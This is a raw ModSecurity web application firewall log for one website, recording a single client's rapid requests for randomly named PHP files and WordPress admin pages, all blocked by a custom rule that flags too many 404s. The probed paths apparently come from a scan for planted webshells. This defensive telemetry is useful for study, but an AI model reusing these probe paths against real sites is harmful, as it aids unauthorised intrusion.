[Sun Mar 01 17:20:12.586344 2026] [:error] [pid 41780:tid 41790] [client 20.151.2.242:62479] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opotv.php"] [unique_id "aaQEzMONkVoocLIqzy0Z6gAAA8c"]
[Sun Mar 01 17:20:13.003282 2026] [:error] [pid 40750:tid 40763] [client 20.151.2.242:61096] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opotv.php"] [unique_id "aaQEzQfBuk03yQKDyqshaAAAAco"]
[Sun Mar 01 17:20:13.445731 2026] [:error] [pid 40750:tid 40771] [client 20.151.2.242:61069] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opotv.php"] [unique_id "aaQEzQfBuk03yQKDyqshcQAAAdI"]
[Sun Mar 01 17:20:13.880448 2026] [:error] [pid 40750:tid 40775] [client 20.151.2.242:61051] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu9.php"] [unique_id "aaQEzQfBuk03yQKDyqshdQAAAdY"]
[Sun Mar 01 17:20:14.292837 2026] [:error] [pid 7165:tid 7171] [client 20.151.2.242:63170] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu9.php"] [unique_id "aaQEzhRjCrA8qWBjgG917wAAAkQ"]
[Sun Mar 01 17:20:14.706086 2026] [:error] [pid 33822:tid 33828] [client 20.151.2.242:62585] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu9.php"] [unique_id "aaQEzm6W3ygu1YVssubeMgAAAoQ"]
[Sun Mar 01 17:20:15.137005 2026] [:error] [pid 38241:tid 38258] [client 20.151.2.242:62801] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu9.php"] [unique_id "aaQEz_KRPk6YnJBxw_yQzgAAAM4"]
[Sun Mar 01 17:20:15.560591 2026] [:error] [pid 40750:tid 40772] [client 20.151.2.242:62772] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qoepq.php"] [unique_id "aaQEzwfBuk03yQKDyqshgAAAAdM"]
[Sun Mar 01 17:20:16.093540 2026] [:error] [pid 7165:tid 7167] [client 20.151.2.242:61050] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qoepq.php"] [unique_id "aaQE0BRjCrA8qWBjgG91_AAAAkA"]
[Sun Mar 01 17:20:16.569695 2026] [:error] [pid 40750:tid 40758] [client 20.151.2.242:62793] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qoepq.php"] [unique_id "aaQE0AfBuk03yQKDyqshhwAAAcU"]
[Sun Mar 01 17:20:16.979713 2026] [:error] [pid 40750:tid 40777] [client 20.151.2.242:61035] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qoepq.php"] [unique_id "aaQE0AfBuk03yQKDyqshjQAAAdg"]
[Sun Mar 01 17:20:17.430304 2026] [:error] [pid 40750:tid 40776] [client 20.151.2.242:62809] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fodds.php"] [unique_id "aaQE0QfBuk03yQKDyqshkgAAAdc"]
[Sun Mar 01 17:20:17.861596 2026] [:error] [pid 33822:tid 33826] [client 20.151.2.242:62535] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fodds.php"] [unique_id "aaQE0W6W3ygu1YVssubeOQAAAoI"]
[Sun Mar 01 17:20:18.348699 2026] [:error] [pid 40750:tid 40777] [client 20.151.2.242:62582] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fodds.php"] [unique_id "aaQE0gfBuk03yQKDyqshnAAAAdg"]
[Sun Mar 01 17:20:18.868066 2026] [:error] [pid 7165:tid 7176] [client 20.151.2.242:62567] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fodds.php"] [unique_id "aaQE0hRjCrA8qWBjgG92AQAAAkk"]
[Sun Mar 01 17:20:19.326178 2026] [:error] [pid 7165:tid 7184] [client 20.151.2.242:63193] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaigu.php"] [unique_id "aaQE0xRjCrA8qWBjgG92BAAAAlE"]
[Sun Mar 01 17:20:19.773899 2026] [:error] [pid 7165:tid 7169] [client 20.151.2.242:62785] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaigu.php"] [unique_id "aaQE0xRjCrA8qWBjgG92BwAAAkI"]
[Sun Mar 01 17:20:20.216954 2026] [:error] [pid 40750:tid 40775] [client 20.151.2.242:62789] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaigu.php"] [unique_id "aaQE1AfBuk03yQKDyqshqgAAAdY"]
[Sun Mar 01 17:20:20.809989 2026] [:error] [pid 44644:tid 44650] [client 20.151.2.242:61029] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaigu.php"] [unique_id "aaQE1J3RJaXMcw3y9V_DkQAAAAM"]
[Sun Mar 01 17:20:21.543375 2026] [:error] [pid 7165:tid 7190] [client 20.151.2.242:62748] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad2.php"] [unique_id "aaQE1RRjCrA8qWBjgG92CwAAAlc"]
[Sun Mar 01 17:20:22.024837 2026] [:error] [pid 33822:tid 33832] [client 20.151.2.242:62469] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad2.php"] [unique_id "aaQE1m6W3ygu1YVssubeRQAAAog"]
[Sun Mar 01 17:20:22.519043 2026] [:error] [pid 37032:tid 37056] [client 20.151.2.242:62477] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad2.php"] [unique_id "aaQE1uu0U4o7eSImsVRe-QAAAZY"]
[Sun Mar 01 17:20:22.972660 2026] [:error] [pid 7133:tid 7145] [client 20.151.2.242:62836] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ad2.php"] [unique_id "aaQE1vCtubh8pR64qB_oQAAAAEo"]
[Sun Mar 01 17:20:23.469774 2026] [:error] [pid 40750:tid 40777] [client 20.151.2.242:62831] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad8rd1.php"] [unique_id "aaQE1wfBuk03yQKDyqshuQAAAdg"]
[Sun Mar 01 17:20:23.942238 2026] [:error] [pid 40750:tid 40758] [client 20.151.2.242:62540] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad8rd1.php"] [unique_id "aaQE1wfBuk03yQKDyqshvwAAAcU"]
[Sun Mar 01 17:20:24.409553 2026] [:error] [pid 7165:tid 7190] [client 20.151.2.242:61012] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad8rd1.php"] [unique_id "aaQE2BRjCrA8qWBjgG92HQAAAlc"]
[Sun Mar 01 17:20:24.927292 2026] [:error] [pid 38241:tid 38256] [client 20.151.2.242:63184] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sad8rd1.php"] [unique_id "aaQE2PKRPk6YnJBxw_yQ5gAAAMw"]
[Sun Mar 01 17:20:25.359569 2026] [:error] [pid 37032:tid 37044] [client 20.151.2.242:62591] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaQE2eu0U4o7eSImsVRfBwAAAYo"]
[Sun Mar 01 17:20:25.878367 2026] [:error] [pid 7165:tid 7179] [client 20.151.2.242:62493] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaQE2RRjCrA8qWBjgG92MAAAAkw"]
[Sun Mar 01 17:20:26.440255 2026] [:error] [pid 38034:tid 38056] [client 20.151.2.242:61093] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaQE2gxtfZjwlJok9K_l1AAAARI"]
[Sun Mar 01 17:20:26.915148 2026] [:error] [pid 33822:tid 33838] [client 20.151.2.242:62779] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaQE2m6W3ygu1YVssubeSwAAAo4"]
[Sun Mar 01 17:20:27.618599 2026] [:error] [pid 38034:tid 38053] [client 20.151.2.242:61112] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asix.php"] [unique_id "aaQE2wxtfZjwlJok9K_l2AAAAQ8"]
[Sun Mar 01 17:20:28.139863 2026] [:error] [pid 7133:tid 7156] [client 20.151.2.242:63153] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asix.php"] [unique_id "aaQE3PCtubh8pR64qB_oYgAAAFU"]
[Sun Mar 01 17:20:28.692898 2026] [:error] [pid 40750:tid 40774] [client 20.151.2.242:61085] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asix.php"] [unique_id "aaQE3AfBuk03yQKDyqsh1wAAAdU"]
[Sun Mar 01 17:20:29.154780 2026] [:error] [pid 40750:tid 40772] [client 20.151.2.242:60430] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asix.php"] [unique_id "aaQE3QfBuk03yQKDyqsh3gAAAdM"]
[Sun Mar 01 17:20:29.726101 2026] [:error] [pid 7165:tid 7181] [client 20.151.2.242:61104] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gems.php"] [unique_id "aaQE3RRjCrA8qWBjgG92RgAAAk4"]
[Sun Mar 01 17:20:37.476831 2026] [:error] [pid 40750:tid 40754] [client 20.151.2.242:62796] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaQE5QfBuk03yQKDyqsiNwAAAcE"]
[Sun Mar 01 17:20:37.982971 2026] [:error] [pid 40750:tid 40773] [client 20.151.2.242:62805] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaQE5QfBuk03yQKDyqsiPQAAAdQ"]
[Sun Mar 01 17:20:38.600997 2026] [:error] [pid 7165:tid 7183] [client 20.151.2.242:62487] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaQE5hRjCrA8qWBjgG92cAAAAlA"]
[Sun Mar 01 17:20:39.034187 2026] [:error] [pid 40750:tid 40777] [client 20.151.2.242:63208] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaQE5wfBuk03yQKDyqsiRgAAAdg"]
[Sun Mar 01 17:20:39.471524 2026] [:error] [pid 40750:tid 40763] [client 20.151.2.242:61009] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaQE5wfBuk03yQKDyqsiSwAAAco"]
[Sun Mar 01 17:20:39.896052 2026] [:error] [pid 40750:tid 40772] [client 20.151.2.242:61100] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaQE5wfBuk03yQKDyqsiUQAAAdM"]
[Sun Mar 01 17:20:40.322147 2026] [:error] [pid 33822:tid 33842] [client 20.151.2.242:62538] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaQE6G6W3ygu1YVssubeaAAAApI"]
[Sun Mar 01 17:20:40.787935 2026] [:error] [pid 40750:tid 40766] [client 20.151.2.242:61098] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaQE6AfBuk03yQKDyqsiXwAAAc0"]
[Sun Mar 01 17:20:41.419272 2026] [:error] [pid 7165:tid 7188] [client 20.151.2.242:62726] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaQE6RRjCrA8qWBjgG92gwAAAlU"]
[Sun Mar 01 17:20:42.027930 2026] [:error] [pid 40750:tid 40769] [client 20.151.2.242:61055] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaQE6gfBuk03yQKDyqsiaQAAAdA"]
[Sun Mar 01 17:20:42.483829 2026] [:error] [pid 7165:tid 7187] [client 20.151.2.242:58646] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaQE6hRjCrA8qWBjgG92iwAAAlQ"]
[Sun Mar 01 17:20:43.059717 2026] [:error] [pid 7165:tid 7179] [client 20.151.2.242:60461] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/ms-edit.php"] [unique_id "aaQE6xRjCrA8qWBjgG92kQAAAkw"]
[Sun Mar 01 17:20:43.502815 2026] [:error] [pid 40750:tid 40755] [client 20.151.2.242:63178] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user-new.php"] [unique_id "aaQE6wfBuk03yQKDyqsidQAAAcI"]
[Sun Mar 01 17:20:44.170758 2026] [:error] [pid 33822:tid 33833] [client 20.151.2.242:58635] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user-new.php"] [unique_id "aaQE7G6W3ygu1YVssubeagAAAok"]
[Sun Mar 01 17:20:44.643405 2026] [:error] [pid 38241:tid 38254] [client 20.151.2.242:63156] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user-new.php"] [unique_id "aaQE7PKRPk6YnJBxw_yRIgAAAMo"]
[Sun Mar 01 17:20:45.060467 2026] [:error] [pid 37032:tid 37053] [client 20.151.2.242:61082] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user-new.php"] [unique_id "aaQE7eu0U4o7eSImsVRfLwAAAZM"]
[Sun Mar 01 17:20:45.666970 2026] [:error] [pid 7133:tid 7146] [client 20.151.2.242:62482] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aaQE7fCtubh8pR64qB_oeAAAAEs"]
[Sun Mar 01 17:20:46.091614 2026] [:error] [pid 41780:tid 41796] [client 20.151.2.242:63206] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aaQE7sONkVoocLIqzy0Z9QAAA80"]
[Sun Mar 01 17:20:46.618776 2026] [:error] [pid 7133:tid 7135] [client 20.151.2.242:61052] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aaQE7vCtubh8pR64qB_ohwAAAEA"]
